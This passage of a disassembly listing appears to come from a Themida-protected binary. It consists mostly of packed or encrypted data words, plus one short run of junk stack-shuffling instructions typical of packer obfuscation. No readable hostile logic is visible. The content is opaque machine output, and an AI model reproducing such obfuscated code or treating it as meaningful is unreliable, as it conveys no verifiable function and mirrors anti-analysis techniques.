		dd 27E002D0h, 873B3B1h,	0E574E592h, 0F8254D7Ah,	4B9D5779h
		dd 548A0284h, 5E75FC43h, 2C7FA5CAh, 0C7C53ED0h,	61274DD0h
		dd 1A8BE192h, 0FDCD9B85h, 91DE9B4Bh, 438A036Bh,	0EEDFA7CAh
		dd 9FB65722h, 3C225792h, 0CB750C92h, 22FEA77Ah,	1AF63F51h
		dd 9177747Eh, 438A008Bh, 5E750592h, 252D4D7Ah, 69B65779h
		dd 85BED0FFh, 0C8C87D7Ch, 0F373B3B1h, 0FCF8EC0Fh, 0BA3B36E5h
		dd 5C61152Ah, 1B9DFD7Ah, 2775FD78h, 759D571Ah, 0D8A0287h
		dd 0D8A00C3h, 87DF9CCAh, 0F2BED0F7h, 73C87D7Ch,	2F73B3B1h
		dd 12F8F10Fh, 0CD3B36E5h, 0E4DE152Ah, 4AB6FD7Ah, 7975FD7Eh
		dd 77C16885h, 0C3F8FB34h, 293B3286h, 3D6DF9F0h,	619C4DB9h
		dd 8E9D562Dh, 0A875FD7Ah, 0BB5E3AF1h, 357115F9h, 0CB8A3E78h
		dd 293B36CAh, 96514ACEh, 74C1FF0Eh, 4E13F2CAh, 0F275C992h
		dd 279DAE7Ah, 0E675FD7Ah, 0BEB5FEF0h, 25B5F179h, 68B65778h
		dd 85BE4DEFh, 0EA917D7Ch, 42F539FAh, 2EDE9B75h,	415A15D1h
		dd 0D52F0285h, 0ACB7D6BDh, 95FCF992h, 0CB7345B9h, 708AFD7Ah
		dd 0F43B36CEh, 0B2E660F7h, 0A0F8FB34h, 4ECD3E39h, 0D075FD7Ah
		dd 0D9BE49EFh, 0CEB57E7Ch, 1A8935F1h, 0BCBE4DEFh, 8E97577Ch
		dd 43BE15B9h, 1DFF0285h, 5A72D97Bh, 7F76778Eh, 0CB75FC6Ch
		dd 1DB61608h, 0A7890883h, 0BDF611F1h, 0BC9D9D86h, 475FD7Ah
		dd 0FF7917FBh, 0EAFCFB34h, 64CF7D86h, 0E573B3B1h, 0F2EC7975h
		dd 73CDFD7Ah, 4375FD7Ah, 10BE49E8h, 0ADFCBD7Ch,	913B36C2h
		dd 79F835F1h, 0E33B2D9Ah, 39C56F85h, 7FFDFB34h,	4801F3Ch
		dd 5E75FD6Dh, 0E4CD7F79h, 1A35FB34h, 85A529E0h,	0E1B67E7Ch
		dd 4B22FEF3h, 7975FD64h, 77CD7779h, 0ECF8FB34h,	293B2DB8h
		dd 2F2B5989h, 0CB75FD72h, 2EC16F85h, 0AF6FB34h,	7185897Eh
		dd 0BC72447Ch, 5A7DFD7Ah, 0F7C3F24Bh, 2E761EBBh, 0CB75FD74h
		dd 5C44E172h, 0F275FD76h, 0C044F972h, 0BC75FD61h, 0E744F972h
		dd 2F75FD66h, 7F44F972h, 348A015Bh, 848980F3h, 3B8980F1h
		dd 7F9DADB9h, 9C75FD7Ah, 7A110222h, 6BFCA58Eh, 16E9055Eh
		dd 0B389D93Eh, 7867C92Ch, 0F2B6AD3Ah, 7975FD7Ah, 0BC75FD7Ah
		dd 0B2FEA87Ah, 2F75151Ah, 162FFD7Ah, 85A50E90h,	59CF707Ch
		dd 7973B3B1h, 71CCF50Fh, 4F75FD7Ah, 9CBC9CDEh, 0A226FD7Eh
		dd 0D9BE41E7h, 0D3497D7Ch, 0BE71887Bh, 0A9771683h, 0F2203E82h
		dd 0BC9D9D96h, 475FD7Ah, 0FE5917FBh, 25F8FB34h,	0CD3B36C6h
		dd 5C7D80F1h, 0F275FD72h, 0B0145989h, 0DC75F9B8h, 95C940F7h
		dd 0EF46FB34h, 9775F5C3h, 0AADF0E7Ah, 58F89DB9h, 0F43B36C6h
		dd 7874C2FBh, 0B000FC7Bh, 5F7182FBh, 5A74FC7Bh,	969E0479h
		dd 0ABB69C82h, 2EC940F7h, 0F3CDFB34h, 0C075FD7Ah, 0BC75FD72h
		dd 9D145789h, 0EFFE3DF1h, 5CBC78F7h, 0D08AFB34h, 2AE9CA8Bh
		dd 0C7000000h, 2404h, 0E80000h,	5D000000h, 0D1ACED81h
		dd 448B064Eh, 85890424h, 64806DDh, 0B8h, 648D8D00h, 0FF06484Bh
		dd 6754B8E1h, 16EB0000h, 5 dup(0)
		dd 3C00101h, 64E0000h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 0E0C35141h, 0F4819096h, 9531D20Bh, 64813F9h
		dd 33BF6650h, 24048971h, 68D9589h, 6A0648h, 0B25FB966h
		dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 5E22ABC3h, 0D31B858Dh, 6A064Eh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 665016C3h
		dd 489D38Bh, 9E924h, 0E1090000h, 0E69C58C8h, 0E93F3AD5h
		dd 0Fh,	0B8CBC42Bh, 0FE144D2Ch,	8333C244h, 6A67DE1Dh, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 851BD380h, 299D89BEh, 6A064828h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 81D5B0C5h
		dd 0C3B4F6E1h, 7D95FF02h, 8B064827h, 4800D59Dh,	4FEE906h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
		dd 55450000h, 0D71005C3h, 2519B21h, 0A0D958Bh
		db 48h,	6
word_5AA08A	dw 0E8h			; DATA XREF: Themida_:0053D6F8o
		dd 5D000000h, 0D320ED81h, 6A064Eh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 0B9852CC3h, 2CBD8529h
		dd 6A0648h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 2C9142C3h, 6800Fh, 85310000h, 64809D5h, 1CB1BD8Bh
		dd 4E80648h, 0A0000000h, 0E800000Fh, 5,	7FDD7883h, 5BFE8B76h
		dd 24448B50h, 13E904h, 0D9BD0000h, 57148B9h, 0F83FEEFBh
		dd 4B3878Bh, 6EC867CEh,	0F008BB8h, 581h, 0FDD9BA00h, 4489783Dh
		dd 0BE90424h, 60000000h, 0DFC9A0FFh, 0A50DFE6Fh, 2958734Dh
		dd 481CBDB5h, 89858906h, 0FF064809h, 48306195h,	51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 991E9A51h, 0B58DD8C3h, 64ED1D1h, 1595BD23h, 6C70648h
		dd 6D676552h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 16h,	0B0C35141h, 0B531DB90h,	6482A99h, 6F0446C7h, 336C636Eh
		dd 4805E99Dh, 846C706h,	737361h, 6AEFF680h, 798D8B00h
		dd 8D064832h, 4ED1D185h, 0D08B6606h, 66525050h,	0F2092BAh
		dd 830F6031h, 0
		dd 357BBB66h, 89585A61h, 0F602404h, 82h, 23B96600h, 95FF6156h
		dd 6481BA1h, 0AE8h, 83510A00h, 8616FCFBh, 60A044C4h, 1815B529h
		dd 5B500648h, 81605A61h, 4B214CCEh, 0CBFBBF1Dh,	0B611C72h
		dd 8840FC0h, 8A000000h,	2C1E9CCh, 68F50000h, 9DEE2EB7h
		dd 4815A56h, 11D27524h,	57006A62h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 0CB816683h, 95FF897Ch
		dd 6483061h, 47CBBF66h,	0D1D1B58Dh, 0BF0F064Eh,	3106C7D6h
		dd 0F8363438h, 370446C7h, 6A31342Dh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 3F35C357h
		dd 0B6A91539h, 46C7158Bh, 8, 6E900h, 0A4ED0000h, 0EDB39E16h
		dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 0BD8BF9C3h, 648058Dh, 0D1858DF8h,	6A064ED1h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 8FC5C355h, 0FEE006C8h, 0AE88E78h,	0E9000000h
		dd 1959FF0Fh, 67785D0Ah, 0CF8B6642h, 29BD895Bh,	60064821h
		dd 8B616060h, 480F398Dh, 9D0B6106h, 6482059h, 0BB669061h
		dd 66501BB1h, 90D08EBFh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 18h, 36C35141h, 1D3064Dh, 0FFCE8B66h, 481BA195h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 0BF0F13BBh, 38A0FD0h, 80000000h,	0BB666AD6h
		dd 0C00BDCD8h, 8840Fh, 8B660000h, 151E9FEh, 75680000h
		dd 8A780ACFh, 243481F1h, 780ACE59h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 44C35242h, 71CFD53Dh, 667D52E2h
		dd 0FFAAC4BBh, 48306195h, 61950306h, 8D064821h,	4ED1D1B5h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 9856C18Ah, 0D2B70F85h, 694606C7h, 0C7F9656Ch
		dd 6F6D0446h, 8529636Eh, 6481595h, 6C0846C7h, 0E9737361h
		dd 0Ah,	69EBA836h, 0CE72B1Bh, 46C7BCFFh, 0Ch, 6AF900h
		dd 0D8B70F60h, 0BE8h, 0BD960700h, 793EC9B1h, 96D75FDFh
		dd 2A51B58Bh, 615F0648h, 0D1D1858Dh, 0FB8B064Eh, 5810F50h
		dd 0BF000000h, 27A2516Fh, 0B240489h, 48097995h,	0A195FF06h
		dd 0E806481Bh, 8, 6E764B01h, 9652051Eh,	9E957h,	4F660000h
		dd 0C142B4Ah, 5F9736FAh, 0FC00B5Bh, 4484h, 0FE900h, 23560000h
		dd 26E5C42Dh, 71C66537h, 0E9DCB85Bh, 35E9A0h, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 824DFAC3h, 563873Bh,	9AE41C5h, 480F2585h, 0FB9CE906h
		dd 8B66FFFFh, 8D6160D7h, 486F77B5h, 89950106h, 0B8064822h
		dd 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 5CC35141h
		dd 8BCABF0Fh, 481EA98Dh, 6AE6FF06h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0F705C357h
		dd 59BF37B0h, 8D89E359h, 64832F5h, 68F0Fh, 9D310000h, 648154Dh
		dd 0C7E9C18Bh, 89000000h, 8CCD87D3h, 8ACB85D1h,	91D28AD6h
		dd 8ECF89D5h, 0B4A38DD9h, 82CE890Eh, 84D089DAh,	8CD88BCCh
		dd 93DFF3A4h, 0E5E935A9h, 56158A71h, 811E20C3h,	690E1965h
		dd 3CC6E23Bh, 9A1D9AC4h, 0BB07DF80h, 0A4BCE581h, 0AFA2A2D6h
		dd 792779A0h, 3AB038Eh,	9BDD9D28h, 1FFB99FBh, 3A069E53h
		dd 0C7C16B0h, 0F8FA4F84h, 7E4F41B7h, 4F8670C6h,	0D7233720h
		dd 0FA19F54Ch, 19h, 7CC885B6h, 1D868CB2h, 0E1FC3BC6h, 38216A95h
		dd 0DF2B3E21h, 631FD64h, 1F6B815Ch, 135F7324h, 28746718h
		dd 1D69801Fh, 0E5A7522h, 216D6215h, 115D7926h, 236F6916h
		dd 125E7728h, 0F8687419h, 0E9064ED7h, 0FFF9A4A3h, 463D6729h
		dd 0AFB8AEEAh, 3064ED8h, 13E8C5h, 2FAA0000h, 0BCF3387Ah
		dd 8AF10547h, 7F76BAF4h, 8905CF29h, 11E952h, 0E290000h
		dd 0E6104E24h, 0BAFF1AC1h, 4EA70CCFh, 58B41DF1h, 19B98589h
		dd 0C0810648h, 5CF8h, 14E9h, 3A870C00h,	0F2BDB1C9h, 0B341F020h
		dd 0CA3FF01Eh, 8A5521C9h, 0BE70h, 8B660000h, 303C8BCBh
		dd 81DF8B66h, 779EB9EFh, 0A3E28116h, 8116339Dh,	0B4EF2BEFh
		dd 810F605Eh, 15h, 10E9h, 0A90E9400h, 0CF541359h, 0FF7C7386h
		dd 0F78CB5ACh, 0EF816131h, 2719C71Dh, 8974CB80h, 0B966303Ch
		dd 8589F352h, 6480F29h,	0B3DAEE81h, 8D8B57D6h, 648209Dh
		dd 0B3D6C681h, 952B57D6h, 6481D99h, 0A3D0FE81h,	850FFFFFh
		dd 0FFFFFF91h, 485BD89h, 4EB0648h, 229430BDh, 516E9h, 0C10DDF00h
		dd 0C30FC697h, 0C410C899h, 0C713CB8Ch, 0C713CC8Dh, 0C3488E8Dh
		dd 0C798C00Ch, 0CD8EC612h, 0D192CA16h, 6F63CD19h, 8C2F1F2Bh
		dd 0E6FD5615h, 1D6981DCh, 495A7522h, 0C6B31185h, 25FC234Fh
		dd 91466F2Bh, 0B27FA45h, 0D34C984Ah, 0E962AEA4h, 0D8539FB6h
		dd 6EE32278h, 0EB14307Ch, 9DA7E8A9h, 0BD919DF0h, 539FB8A1h
		dd 0B8A571D8h, 0BCDD57A3h, 94ED5BA7h, 1FBD28BFh, 90191DDEh
		dd 969EE19h, 97E3F669h,	0C19AC27Bh, 9FC05AA6h, 81027CCAh
		dd 0F9FEF900h, 0DE479346h, 764D2365h, 0B69EEA01h, 0A6A1EDE5h
		dd 0C707950Eh, 8043714Fh, 0F169750Ah, 610E54h, 95C60000h
		dd 0A0A670BCh, 2C785586h, 53040EF3h, 5CF8337Fh,	4FC6B2E8h
		dd 9B11F422h, 54F11608h, 0B3AB8CB0h, 0E785DC67h, 4FC6A777h
		dd 6FC05AB5h, 1, 18648107h, 8549750Fh, 4FC6B311h, 0B557B720h
		dd 5DC5F0C5h, 0EEE778C2h, 0E0F6A9A2h, 67BD8B94h, 0D21E37ACh
		dd 408C4576h, 294162F6h
dword_5AA824	dd 810973DDh, 6E111A66h, 51202B77h, 0B3FFD203h,	9D12F167h
					; DATA XREF: Themida_:0053E238o
		dd 9DBE76C2h, 91AE79C5h, 0A5C08BD7h, 0B3E056ADh, 0D054F113h
		dd 5Bh,	1A668166h, 2E7A6E11h, 6BD13F5h,	5EAAA596h, 7DB7CE5h
		dd 7D9970BBh, 81BB07E0h, 70BB07E0h, 80CB17CFh, 0A016EDE5h
		dd 54F113F3h, 4990h, 66812600h,	0FE499550h, 1649022Bh
		dd 26183445h, 64FC6B3h,	7566022Bh, 2F120D59h, 784E5AE3h
		dd 0E32F289Dh, 2F7B5485h, 81116BE3h, 7775364h, 254FC6B3h
		dd 8C28230Ah, 4FC6B317h, 8C02C1EFh, 54F115F7h, 18Ch, 67812200h
		dd 7B6F101Bh, 1E34F42Fh, 485E72E7h, 125E788Eh, 30D930FBh
		dd 2F0F3108h, 0D237F03Ch, 202B7771h, 5384E049h,	0EE606C7Dh
		dd 3E4FC6B2h, 0D9E14AE3h, 8881D78Ah, 0A1ADB581h, 498F886Ah
		dd 0B905DDFEh, 0A97F9B6Eh, 0CAE2CC84h, 859DD59Fh, 35308314h
		dd 0F730D930h, 472D344Dh, 0CFAECF2Bh, 0F4401243h, 2437203Ch
		dd 49213ED8h, 322A42FDh, 40560F57h, 2436AB6Ah, 2B3F60D8h
		dd 1F3364DFh, 2F2758D3h, 233768E3h, 461C4CD7h, 0ED45E48Fh
		dd 7DC9A116h, 0B9FE81D3h, 0A1BA5B39h, 74B17DC9h, 15Eh
		dd 46381428h, 0E3560F4Bh, 8888E18Ah, 7DA28849h,	8799B39Bh
		dd 949E8798h, 9E95BAAh,	3D2B024Eh, 8EB8F631h, 3E092849h
		dd 53FD4921h, 3B045002h, 0D7233821h, 32481A3Bh,	0EB54CF1Bh
		dd 6AFFB301h, 6AC36A26h, 5DA9BEE1h, 4E9AB5E2h, 0E71E74D5h
		dd 3E95ED3Ch, 8BC511C9h, 3941B6C9h, 56CD5Bh, 5B610000h
		dd 5D71CF05h, 4FC6B2B9h, 49954AFBh, 3E8A61FEh, 1C051C05h
		dd 0B3158923h, 0C9F54FC6h, 0BF0BC4F5h, 0DFCF9D84h, 4D4FC6B3h
		dd 13F268B2h, 90ACE478h, 87D38BACh, 0B39FBFABh,	728D4FC6h
		dd 0B857CAh, 0F8090000h, 3FA93FABh, 767A4Bh, 344FC6BBh
		dd 64DA34CDh, 20965A86h, 144FC6B3h, 2E0E21EDh, 5A112A16h
		dd 0B3118549h, 0FC234FC6h, 7D510925h, 498EB902h, 2552CD34h
		dd 16EDDF2Dh, 151315EBh, 46DF2B22h, 47954D0Eh, 278A378Ch
		dd 62FE275Fh, 18135F79h, 5460E531h, 560FA69Dh, 0E358BB11h
		dd 0B1FDD9EFh, 0B9B09376h, 0D59C946Dh, 0DBEF4D63h, 4FD16000h
		dd 0E5F50E2Eh, 5C50E351h, 0A9920450h, 0D74FCDh,	70966BB4h
		dd 95AF7891h, 0A9B1A5A9h, 9C834FCDh, 0C10DC592h, 9DBECA86h
		dd 68B4AAC0h, 0A8A38ADFh, 20E375C1h, 0BF9DB385h, 8F6250ABh
		dd 3923FE49h, 47934C6Dh, 0E95B51EBh, 0B34C420Eh, 38154FC6h
		dd 12FB16ECh, 3AADCD36h, 0ADEFADABh, 0F9E5F961h, 0C71681F5h
		dd 0FB4AB34Fh, 4B04F949h, 59111D04h, 4988737Ah,	0A5D24DB4h
		dd 0A6F761ADh, 0E0FC68B4h, 15849A0Ch, 9B779A56h, 2F100AA2h
		dd 9851716Bh, 0F1D3C387h, 0BE61725Ah, 0A4BBDC67h, 2359CF58h
		dd 7DD335E0h, 0E9E5D646h, 0EC4919Dh, 11C99AC2h,	859CE8FBh
		dd 75C19DBAh, 2DE87EAAh, 0DE56A2B8h, 0DCD29EC2h, 50725AF1h
		dd 0E2F865B1h, 0C033C294h, 128F628h, 8D746h, 0B0890000h
		dd 75CF6BB7h, 6B811763h, 5F73241Fh, 74671813h, 69801F28h
		dd 5A75221Dh, 6D62150Eh, 5D792621h, 6F691611h, 5E772823h
		dd 51741912h, 0C181E189h, 4, 8704E983h,	248B240Ch, 4EC8324h
		db 89h,	14h, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	576Ch
		mov	[esp], ecx
		push	0B8230B7h
		pop	ecx
		shl	ecx, 3
		shl	ecx, 5
		add	ecx, 841E22A2h
		mov	edx, ecx
		pop	ecx
		push	6073h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	1CBDh
		mov	[esp], eax
		mov	eax, 8
		add	eax, ecx
		mov	[eax], edx
		pop	eax
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_544ACB
; ---------------------------------------------------------------------------
		db 0B5h
		dd 0B8622899h, 64EDE1Ch, 0E0FFC503h, 6B889F52h,	41CCC827h
		dd 0C577937h, 244CD2ACh, 0EEE10ADh, 21F35979h, 32F4A8ACh
		dd 6109D26Fh, 75C46345h, 2D8F9971h, 3DAEF418h, 0B97E564h
		dd 12FA5DB8h, 53B07E1Fh, 0EA8685Eh, 11A130A3h, 6F39A9EBh
		dd 2BD4809Ah, 4378D710h, 4FA23B52h, 6D3C1CF3h, 26036C5Eh
		dd 6D0BBC2Fh, 3A3A482Eh, 481C1E1Dh, 1B7AABDBh, 72F5FB5h
		dd 31795961h, 5D2F4EF2h, 748573BCh, 784739D4h, 0C85704EBh
		dd 0AAE9436Ch, 6800000Dh, 64EE160h, 0F99E0AE9h,	0E25668FFh
		dd 0E9064Eh, 68FFF99Eh,	64EE31Ch, 0F99DF6E9h, 0E3C768FFh
		dd 0ECE9064Eh, 68FFF99Dh, 64EE72Ah, 0F99DE2E9h,	0EA8768FFh
		dd 0D8E9064Eh, 68FFF99Dh, 64EEB6Dh, 0F99DCEE9h,	95E1F3FFh
		dd 97E3FA9Bh, 98E4FC9Dh, 9BE7FFA0h, 9BE700A1h, 971CC2A1h
		dd 9BBC74C0h, 0A1C27AC6h, 85D67ECAh, 0C3D781CDh, 92E3D397h
		dd 72515615h, 1A668130h, 8B427311h, 7162F33Fh, 47233725h
		dd 4FC6B357h, 78E03AD5h, 0B570B2Ch, 5638082Fh, 74D03985h
		dd 8EBFFB58h, 4E043149h, 0C03D313Dh, 10EF560Eh,	33410F9h
		dd 0E049024Eh, 0EF63F156h, 72560EBFh, 6718135Fh, 471A2571h
		dd 32ED3914h, 35A560F6h, 0EC02519h, 1280756h, 21976E64h
		dd 5B391E9Eh, 33E5h, 0E95B7900h, 48034F09h, 401C48E1h
		dd 0BF88C1DFh, 2C063906h, 8ED46340h, 726CD949h,	0DD441D26h
		dd 0C4504A62h, 1F17560Eh, 26516EE4h, 11325B39h,	0CC000000h
		dd 20965A86h, 144FC6B3h, 4F221EDh, 90000009h, 221D6981h
		dd 94475D75h, 32AFF48h,	31F40D59h, 0E1722F79h, 0AF91A872h
		dd 0D49FAB99h, 2A498F03h, 3A303C07h, 2D560F04h,	4B58CE05h
		dd 6D5B3962h, 0FC47934Ch, 2C1C0925h, 0B2000000h, 8BD1E95Bh
		dd 9598894Ch, 0F7D37198h, 498F5C24h, 74C093C4h,	9EA9889Ah
		dd 0F449C16h, 28EBCB56h, 39A72DB2h, 0DB565Bh, 81F00000h
		dd 75221D69h, 7A8B445Ah, 0C6B30076h, 34CD344Fh,	2D2552CDh
		dd 213966E1h, 7B4F5BD5h, 0EB4FC6B6h, 32CD19CAh,	691EA220h
		dd 90CD69C1h, 0F5A68EDAh, 82B391DDh, 67BA85D1h,	0F1CA72CBh
		dd 0AB8EA8F4h, 9E58399h, 498F2BF2h, 3F550B3Ch, 267E02Ch
		dd 0E049202Bh, 293F0178h, 5B4B1F3Bh, 0E560F6Ch,	18F70F5Bh
		dd 0FC8A66FEh, 304FD4BBh, 8D4273D1h, 6A4B1741h,	10E02573h
		dd 6BD06DEh, 0F13D241Fh, 0F1F6B64h, 0CCBC75A5h,	0F8A697E0h
		dd 2100000Ah, 455FF4Bh,	253FD49h, 95A024Eh, 657014Dh, 0CC4B0551h
		dd 1A668106h, 1C688122h, 24706334h, 2B776B2Ch, 6D81AD31h
		dd 561593F9h, 8196983Bh, 9B8B1866h, 41A34189h, 885B7CE8h
		dd 3D5EF23Ch, 435FD925h, 25F13D12h, 0EE95B1Fh, 0C6B34C42h
		dd 0DB3FE04Fh, 9E3CD92Ah, 203CE53Ch, 8F53F74Ch,	51DA3549h
		dd 0F4C4F43h, 0DB3A1856h, 39AE5A65h, 0C1295Bh, 81BD0000h
		dd 75221D69h, 77150E5Ah, 4FC6B623h, 635EACBEh, 0D9756135h
		dd 0F8A48C75h, 377B39A7h, 1C303FF5h, 4FC6C62Ah,	34FE270Ah
		dd 68E32F23h, 5A4C203Ch, 0DA4FC6C6h, 0E454DB37h, 475C70CCh
		dd 0A5498EADh, 0D96BD28Ah, 0ECC9A5C3h, 9C4FD45Bh, 0DA91A7BBh
		dd 55AC778Eh, 0D20367B9h, 0ADA1AFFBh, 7C4FC949h, 25EA660h
		dd 52C0264h, 4017401Ch,	441B3CF4h, 0CEC1AF8h, 0A2CDCCBCh
		dd 0A02B3h, 0ED392B00h,	0EF3B1243h, 0F03C1445h,	0F33F1748h
		dd 0F33F1849h, 6FF4DA49h, 53042C78h, 590A327Eh,	5DFE3682h
		dd 9BFF3985h, 950B7B4Fh, 0CA295615h, 0EC1D8688h, 0DA06EAA1h
		dd 342B2C06h, 3B2F70E8h, 81FB45EFh, 34891B69h, 0EE71EE87h
		dd 776B0C17h, 94148A66h, 34184FC7h, 0C7942618h,	22B064Fh
		dd 0B93E312Bh, 2747864h, 324FC794h, 4CEC43CFh, 0FB440834h
		dd 49498F76h, 89617AE6h, 0A235E23Dh, 0C629C633h, 7A8F8D6Ch
		dd 77EC4BABh, 0BD91AFC5h, 0F91BAD5Ah, 15A633DCh, 0D69CD6A4h
		dd 212D112Fh, 0F98C692Dh, 311620FFh, 244058E8h,	52E87048h
		dd 2341E0F3h, 5CD42032h, 3BDB273Bh, 6330D6D5h, 3C66D7A0h
		dd 65000009h, 6839236Fh, 6637216Dh, 6D2E2672h, 6A2B2571h
		dd 302F2975h, 0DE2A25AAh, 0E02C2576h, 0E8342778h, 0EF3B2F70h
		dd 410D5145h, 5615964Dh, 81BA04DFh, 4F221D69h, 8661D5EDh
		dd 9873BF97h, 0E940A740h, 487C6F7Bh, 4DB2498Fh,	1FB8C8BAh
		dd 5A061F40h, 0FF0F0149h, 0FA14A614h, 16627962h, 0F733D92Ah
		dd 0AE90AE31h, 0BB84D08Dh, 0D384CC66h, 0E16BB400h, 560F756Dh
		dd 0F659109h, 829AAA56h, 92DEF5E6h, 310DC88h, 394FD78Eh
		dd 0CE2F4DD6h, 80104612h, 0BFAFBBD7h, 6D4FC72Eh, 0BE9F7B92h
		dd 40D260ACh, 1CCBE98h,	891C736h, 0AABA0000h, 0A8A5F65Eh
		dd 0ADA3F45Ch, 0B0A6F761h, 0B4ABEC64h, 6971F068h, 0B59FEBE4h
		dd 0B7A1EDE4h, 0AFA9F5E6h, 88B0FCEEh, 9204C814h, 0A2561596h
		dd 0E95BFF43h, 754975D3h, 313F8B44h, 4FC6B33Dh,	6E0610EFh
		dd 498EBB5Dh, 8DB7708Fh, 0C59DB3ACh, 0E8979079h, 0B37FA6F2h
		dd 0F55FABA2h, 0E25DA9A4h, 0AA96AC8Fh, 928DD991h, 0F3F763AFh
		dd 560EBC7Bh, 8BBD86A9h, 0ACA91EF5h, 0C6BCF860h, 75560EBCh
		dd 0AC90ACC2h, 0BCCABC90h, 0FD6A560Eh, 0B58C97E3h, 98AAC24Ch
		dd 54560EBCh, 0FBD283ADh, 9AD874AFh, 0F8560EBBh, 233A362h
		dd 8761024Eh, 0FD19F03Bh, 0B3378560h, 0F59DB171h, 75AEFAD3h
		dd 0A48C758Ch, 958EDAF3h, 7BE396E7h, 238C23E1h,	7A352945h
		dd 18F7560Fh, 79CC76FEh, 1C35560Fh, 322857D0h, 0B50B5DE6h
		dd 0EB81B35Eh, 4E9AB328h, 96AC8FE6h, 0ADA596AAh, 0B783E661h
		dd 0F7AC8BBh, 0EA066656h, 560F7A74h, 0BFAE59B8h, 0C0ACBD39h
		dd 0C2CA55ACh, 41F06971h, 7FF5D006h, 0C71B0764h, 9A4F6854h
		dd 0E06CD54Eh, 0C1F0A16Eh, 56D763BEh, 1B3h, 9E95BF0h, 0E148034Fh
		dd 1F501C48h, 47498EBDh, 122E7A6Eh, 0EC1483Eh, 0E945EC56h
		dd 506CD837h, 1C277367h, 0F31A667Bh, 0D8243627h, 606C506Ch
		dd 560EC0EEh, 2195E33Eh, 13560EC1h, 722E22ECh, 62768C49h
		dd 834EF16h, 0EC15244h,	0E63FE256h, 0B570B4Ch, 9DFB2440h
		dd 9C599BF6h, 0A5F1E659h, 0D00BE189h, 1167CEC8h, 0D9253DB2h
		dd 1B2C3E5Fh, 0D4D05F4Fh, 0DB32CDD0h, 20360950h, 236F6738h
		dd 17637728h, 1A667C1Dh, 24618311h, 0C984BE5Ah,	0B995C27Dh
		dd 48BD4A6Bh, 62CBCFCBh, 0D33288E9h, 0A0BC0828h, 4B36DACCh
		dd 0DEF25A43h, 434B3668h, 72BC65CCh, 0BAB025E0h, 0E661ADA4h
		dd 0B8519DB9h, 0A188D487h, 0E3D397C3h, 51434B36h, 879EEAE4h
		dd 8650889Ch, 9C768076h, 0D9EFE3B4h, 0D05BB2FEh, 0C4A0B689h
		dd 4B85B6A8h, 37997643h, 5C9335A2h, 0A1C27A93h,	68B17AC6h
		dd 0C7A3C1D7h, 434BA9DBh, 0A992AE51h, 86DB64B0h, 0DFF3A4ACh
		dd 0F0E79893h, 97ED9BA4h, 0C713C73Ch, 16CC8Dh, 0BDA49FEBh
		dd 0A9DBCB9Fh, 0B659434Bh, 0BA7DD44Fh, 0C8A4B8A4h, 434BA9D6h
		dd 35FBB56h, 4BA97FE7h,	0F652AD43h, 0A99006CAh,	7DA4434Bh
		dd 0E6FC9DB1h, 8AF3919Ah, 4C6B796Dh, 95C24C06h,	0DCDD70BEh
		dd 654765DBh, 0FBD483BCh, 0EC374AFh, 52A889C2h,	2440C873h
		dd 0BE423438h, 0FF2434Ah, 4DE9352Ch, 7F53C80Bh,	82580933h
		dd 1324ED36h, 278B5FFDh, 25434ABEh, 5A11520Ah, 0FB3C150Eh
		dd 0BE5A4C20h, 37DA434Ah, 0BE514509h, 3CE3434Ah, 137377E5h
		dd 41434ABEh, 810C76DEh, 0E8711B69h, 3B283B6Fh,	31136AD2h
		dd 3E212D1Bh, 2A498ECEh, 0BB0385D9h, 0ABB05BA7h, 998FAB17h
		dd 0DAF6CA76h, 560EEE64h, 95CD69C8h, 0F963AFA4h, 0B65B3A8h
		dd 1C5909C1h, 0CD77B059h, 116913B4h, 0B680F180h, 0BDABC183h
		dd 0D6FE3AB1h, 120DF44Fh, 0C6F2007Ah, 0F3093B4Fh, 97506955h
		dd 7289E04Bh, 0AE91AE87h, 7CFB0864h, 4A6B498Fh,	3CEE4894h
		dd 352D4AD5h, 2BB349E9h, 0B57ECAF6h, 52E40h, 39855700h
		dd 3B875EFFh, 3C886001h, 3F8B4314h, 3F8B4415h, 3BC00615h
		dd 3F60D824h, 2576DE2Ah, 297AE22Eh, 676BE531h, 9A372743h
		dd 0DEF55615h, 0EE95BD4h, 0B3281E32h, 250C4FC6h, 0C6B35747h
